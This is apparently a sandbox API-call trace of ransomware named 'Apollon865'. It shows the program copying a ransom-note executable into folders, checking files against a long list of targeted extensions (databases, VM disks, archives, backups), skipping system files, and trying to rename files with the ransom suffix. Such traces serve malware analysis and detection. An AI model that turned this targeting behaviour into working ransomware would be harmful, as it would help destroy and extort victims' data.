	[0039.812] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f054512, ftCreationTime.dwHighDateTime=0x1ca040c, ftLastAccessTime.dwLowDateTime=0x5f054512, ftLastAccessTime.dwHighDateTime=0x1ca040c, ftLastWriteTime.dwLowDateTime=0xc7d3f90d, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x2c64, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="tasks.xml", cAlternateFileName="")) returned 0
	[0039.812] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.812] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b10
	[0039.812] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0039.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c1458 | out: hHeap=0x580000) returned 1
	[0039.812] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b08 | out: hHeap=0x580000) returned 1
	[0039.812] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned 91
	[0039.812] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US"
	[0039.812] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.812] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.817] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.817] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.817] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.817] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.817] lstrcpyW (in: lpString1=0x2d3e608, lpString2="resource.xml" | out: lpString1="resource.xml") returned="resource.xml"
	[0039.817] lstrlenW (lpString="resource.xml") returned 12
	[0039.817] lstrlenW (lpString="Apollon865") returned 10
	[0039.817] lstrcmpiW (lpString1="source.xml", lpString2="Apollon865") returned 1
	[0039.817] lstrlenW (lpString=".dll") returned 4
	[0039.817] lstrcmpiW (lpString1="resource.xml", lpString2=".dll") returned 1
	[0039.817] lstrlenW (lpString=".lnk") returned 4
	[0039.817] lstrcmpiW (lpString1="resource.xml", lpString2=".lnk") returned 1
	[0039.818] lstrlenW (lpString=".ini") returned 4
	[0039.818] lstrcmpiW (lpString1="resource.xml", lpString2=".ini") returned 1
	[0039.818] lstrlenW (lpString=".sys") returned 4
	[0039.818] lstrcmpiW (lpString1="resource.xml", lpString2=".sys") returned 1
	[0039.818] lstrlenW (lpString="resource.xml") returned 12
	[0039.818] lstrlenW (lpString="bak") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1
	[0039.818] lstrlenW (lpString="ba_") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1
	[0039.818] lstrlenW (lpString="dbb") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1
	[0039.818] lstrlenW (lpString="vmdk") returned 4
	[0039.818] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1
	[0039.818] lstrlenW (lpString="rar") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1
	[0039.818] lstrlenW (lpString="zip") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1
	[0039.818] lstrlenW (lpString="tgz") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1
	[0039.818] lstrlenW (lpString="vbox") returned 4
	[0039.818] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1
	[0039.818] lstrlenW (lpString="vdi") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1
	[0039.818] lstrlenW (lpString="vhd") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1
	[0039.818] lstrlenW (lpString="vhdx") returned 4
	[0039.818] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1
	[0039.818] lstrlenW (lpString="avhd") returned 4
	[0039.818] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1
	[0039.818] lstrlenW (lpString="db") returned 2
	[0039.818] lstrcmpiW (lpString1="ml", lpString2="db") returned 1
	[0039.818] lstrlenW (lpString="db2") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1
	[0039.818] lstrlenW (lpString="db3") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1
	[0039.818] lstrlenW (lpString="dbf") returned 3
	[0039.818] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1
	[0039.818] lstrlenW (lpString="mdf") returned 3
	[0039.819] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1
	[0039.819] lstrlenW (lpString="mdb") returned 3
	[0039.819] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1
	[0039.819] lstrlenW (lpString="sql") returned 3
	[0039.819] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1
	[0039.819] lstrlenW (lpString="sqlite") returned 6
	[0039.819] lstrcmpiW (lpString1="ce.xml", lpString2="sqlite") returned -1
	[0039.819] lstrlenW (lpString="sqlite3") returned 7
	[0039.819] lstrcmpiW (lpString1="rce.xml", lpString2="sqlite3") returned -1
	[0039.819] lstrlenW (lpString="sqlitedb") returned 8
	[0039.819] lstrcmpiW (lpString1="urce.xml", lpString2="sqlitedb") returned 1
	[0039.819] lstrlenW (lpString="xml") returned 3
	[0039.819] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0
	[0039.819] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.Apollon865") returned 115
	[0039.819] MoveFileExW (lpExistingFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml.Apollon865" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-us\\resource.xml.apollon865"), dwFlags=0x1) returned 0
	[0039.819] GetLastError () returned 0x5
	[0039.819] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 133
	[0039.819] lstrlenA (lpString="[ERROR] C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\en-US\\resource.xml MoveFileEx error 5\r\n") returned 133
	[0039.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154
	[0039.819] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0xb22
	[0039.819] WriteFile (in: hFile=0x154, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x85, lpOverlapped=0x0) returned 1
	[0039.819] CloseHandle (hObject=0x154) returned 1
	[0039.821] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0039.821] CloseHandle (hObject=0x0) returned 0
	[0039.821] CloseHandle (hObject=0x0) returned 0
	[0039.821] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a152a, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xb5e9110, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xb2a152a, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x5e8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="resource.xml", cAlternateFileName="")) returned 0
	[0039.821] FindClose (in: hFindFile=0x5ca190 | out: hFindFile=0x5ca190) returned 1
	[0039.821] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7af0
	[0039.821] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}", iMaxLength=260 | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0039.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x599bd8 | out: hHeap=0x580000) returned 1
	[0039.821] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7ae8 | out: hHeap=0x580000) returned 1
	[0039.821] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned 85
	[0039.821] lstrcatW (in: lpString1="", lpString2="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}" | out: lpString1="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}") returned="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}"
	[0039.822] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0039.822] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\all users\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0039.828] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0039.828] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca190
	[0039.828] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.828] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0039.828] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0039.828] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd96989e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x2fd82e70, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2fd82e70, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0039.828] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.828] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0039.828] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0039.828] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0039.828] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d91b669, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x22f23962, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d91b669, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="Apollon865.txt.exe") returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2=".") returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="..") returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="windows") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="bootmgr") returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="temp") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="pagefile.sys") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="boot") returned 1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="ids.txt") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="ntuser.dat") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="perflogs") returned -1
	[0039.828] lstrcmpiW (lpString1="en-US", lpString2="MSBuild") returned -1
	[0039.828] lstrlenW (lpString="en-US") returned 5
	[0039.828] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\*") returned 87
	[0039.828] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="en-US" | out: lpString1="en-US") returned="en-US"
	[0039.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0039.828] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xb8) returned 0x5c1458
	[0039.828] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7c50
	[0039.828] FindNextFileW (in: hFindFile=0x5ca190, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2c7f9e6, ftCreationTime.dwHighDateTime=0x1ca0407, ftLastAccessTime.dwLowDateTime=0xd2c7f9e6, ftLastAccessTime.dwHighDateTime=0x1ca0407, ftLastWriteTime.dwLowDateTime=0x7c0e93d7, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xd0a3, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="folder.ico", cAlternateFileName="")) returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="Apollon865.txt.exe") returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2=".") returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="..") returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="windows") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="bootmgr") returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="temp") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="pagefile.sys") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="boot") returned 1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="ids.txt") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="ntuser.dat") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="perflogs") returned -1
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2="MSBuild") returned -1
	[0039.829] lstrlenW (lpString="folder.ico") returned 10
	[0039.829] lstrlenW (lpString="C:\\Users\\All Users\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US") returned 91
	[0039.829] lstrcpyW (in: lpString1=0x2d3e5fc, lpString2="folder.ico" | out: lpString1="folder.ico") returned="folder.ico"
	[0039.829] lstrlenW (lpString="folder.ico") returned 10
	[0039.829] lstrlenW (lpString="Apollon865") returned 10
	[0039.829] lstrlenW (lpString=".dll") returned 4
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2=".dll") returned 1
	[0039.829] lstrlenW (lpString=".lnk") returned 4
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2=".lnk") returned 1
	[0039.829] lstrlenW (lpString=".ini") returned 4
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2=".ini") returned 1
	[0039.829] lstrlenW (lpString=".sys") returned 4
	[0039.829] lstrcmpiW (lpString1="folder.ico", lpString2=".sys") returned 1
	[0039.829] lstrlenW (lpString="folder.ico") returned 10
	[0039.829] lstrlenW (lpString="bak") returned 3
	[0039.829] lstrcmpiW (lpString1="ico", lpString2="bak") returned 1
	[0039.829] lstrlenW (lpString="ba_") returned 3
	[0039.829] lstrcmpiW (lpString1="ico", lpString2="ba_") returned 1
	[0039.829] lstrlenW (lpString="dbb") returned 3
	[0039.829] lstrcmpiW (lpString1="ico", lpString2="dbb") returned 1
	[0039.829] lstrlenW (lpString="vmdk") returned 4
	[0039.829] lstrcmpiW (lpString1=".ico", lpString2="vmdk") returned -1
	[0039.829] lstrlenW (lpString="rar") returned 3
	[0039.829] lstrcmpiW (lpString1="ico", lpString2="rar") returned -1
	[0039.830] lstrlenW (lpString="zip") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="zip") returned -1
	[0039.830] lstrlenW (lpString="tgz") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="tgz") returned -1
	[0039.830] lstrlenW (lpString="vbox") returned 4
	[0039.830] lstrcmpiW (lpString1=".ico", lpString2="vbox") returned -1
	[0039.830] lstrlenW (lpString="vdi") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="vdi") returned -1
	[0039.830] lstrlenW (lpString="vhd") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="vhd") returned -1
	[0039.830] lstrlenW (lpString="vhdx") returned 4
	[0039.830] lstrcmpiW (lpString1=".ico", lpString2="vhdx") returned -1
	[0039.830] lstrlenW (lpString="avhd") returned 4
	[0039.830] lstrcmpiW (lpString1=".ico", lpString2="avhd") returned -1
	[0039.830] lstrlenW (lpString="db") returned 2
	[0039.830] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0039.830] lstrlenW (lpString="db2") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="db2") returned 1
	[0039.830] lstrlenW (lpString="db3") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="db3") returned 1
	[0039.830] lstrlenW (lpString="dbf") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="dbf") returned 1
	[0039.830] lstrlenW (lpString="mdf") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="mdf") returned -1
	[0039.830] lstrlenW (lpString="mdb") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="mdb") returned -1
	[0039.830] lstrlenW (lpString="sql") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="sql") returned -1
	[0039.830] lstrlenW (lpString="sqlite") returned 6
	[0039.830] lstrcmpiW (lpString1="er.ico", lpString2="sqlite") returned -1
	[0039.830] lstrlenW (lpString="sqlite3") returned 7
	[0039.830] lstrcmpiW (lpString1="der.ico", lpString2="sqlite3") returned -1
	[0039.830] lstrlenW (lpString="sqlitedb") returned 8
	[0039.830] lstrcmpiW (lpString1="lder.ico", lpString2="sqlitedb") returned -1
	[0039.830] lstrlenW (lpString="xml") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="xml") returned -1
	[0039.830] lstrlenW (lpString="$er") returned 3
	[0039.830] lstrcmpiW (lpString1="ico", lpString2="$er") returned 1
	[0039.831] lstrlenW (lpString="4dd") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="4dd") returned 1
	[0039.831] lstrlenW (lpString="4dl") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="4dl") returned 1
	[0039.831] lstrlenW (lpString="^^^") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="^^^") returned 1
	[0039.831] lstrlenW (lpString="abs") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="abs") returned 1
	[0039.831] lstrlenW (lpString="abx") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="abx") returned 1
	[0039.831] lstrlenW (lpString="accdb") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accdb") returned 1
	[0039.831] lstrlenW (lpString="accdc") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accdc") returned 1
	[0039.831] lstrlenW (lpString="accde") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accde") returned 1
	[0039.831] lstrlenW (lpString="accdr") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accdr") returned 1
	[0039.831] lstrlenW (lpString="accdt") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accdt") returned 1
	[0039.831] lstrlenW (lpString="accdw") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accdw") returned 1
	[0039.831] lstrlenW (lpString="accft") returned 5
	[0039.831] lstrcmpiW (lpString1="r.ico", lpString2="accft") returned 1
	[0039.831] lstrlenW (lpString="adb") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0039.831] lstrlenW (lpString="adb") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="adb") returned 1
	[0039.831] lstrlenW (lpString="ade") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="ade") returned 1
	[0039.831] lstrlenW (lpString="adf") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="adf") returned 1
	[0039.831] lstrlenW (lpString="adn") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="adn") returned 1
	[0039.831] lstrlenW (lpString="adp") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="adp") returned 1
	[0039.831] lstrlenW (lpString="alf") returned 3
	[0039.831] lstrcmpiW (lpString1="ico", lpString2="alf") returned 1
	[0039.831] lstrlenW (lpString="ask") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="ask") returned 1
	[0039.832] lstrlenW (lpString="btr") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="btr") returned 1
	[0039.832] lstrlenW (lpString="cat") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="cat") returned 1
	[0039.832] lstrlenW (lpString="cdb") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="cdb") returned 1
	[0039.832] lstrlenW (lpString="ckp") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="ckp") returned 1
	[0039.832] lstrlenW (lpString="cma") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="cma") returned 1
	[0039.832] lstrlenW (lpString="cpd") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="cpd") returned 1
	[0039.832] lstrlenW (lpString="dacpac") returned 6
	[0039.832] lstrcmpiW (lpString1="er.ico", lpString2="dacpac") returned 1
	[0039.832] lstrlenW (lpString="dad") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dad") returned 1
	[0039.832] lstrlenW (lpString="dadiagrams") returned 10
	[0039.832] lstrlenW (lpString="daschema") returned 8
	[0039.832] lstrcmpiW (lpString1="lder.ico", lpString2="daschema") returned 1
	[0039.832] lstrlenW (lpString="db-journal") returned 10
	[0039.832] lstrlenW (lpString="db-shm") returned 6
	[0039.832] lstrcmpiW (lpString1="er.ico", lpString2="db-shm") returned 1
	[0039.832] lstrlenW (lpString="db-wal") returned 6
	[0039.832] lstrcmpiW (lpString1="er.ico", lpString2="db-wal") returned 1
	[0039.832] lstrlenW (lpString="dbc") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dbc") returned 1
	[0039.832] lstrlenW (lpString="dbs") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dbs") returned 1
	[0039.832] lstrlenW (lpString="dbt") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dbt") returned 1
	[0039.832] lstrlenW (lpString="dbv") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dbv") returned 1
	[0039.832] lstrlenW (lpString="dbx") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dbx") returned 1
	[0039.832] lstrlenW (lpString="dcb") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dcb") returned 1
	[0039.832] lstrlenW (lpString="dct") returned 3
	[0039.832] lstrcmpiW (lpString1="ico", lpString2="dct") returned 1
	[0039.833] lstrlenW (lpString="dcx") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dcx") returned 1
	[0039.833] lstrlenW (lpString="ddl") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="ddl") returned 1
	[0039.833] lstrlenW (lpString="dlis") returned 4
	[0039.833] lstrcmpiW (lpString1=".ico", lpString2="dlis") returned -1
	[0039.833] lstrlenW (lpString="dp1") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dp1") returned 1
	[0039.833] lstrlenW (lpString="dqy") returned 3
	[0039.833] lstrcmpiW (lpString1="ico", lpString2="dqy") returned 1
	[0039.833] lstrlenW (lpString="dsk") returned 3
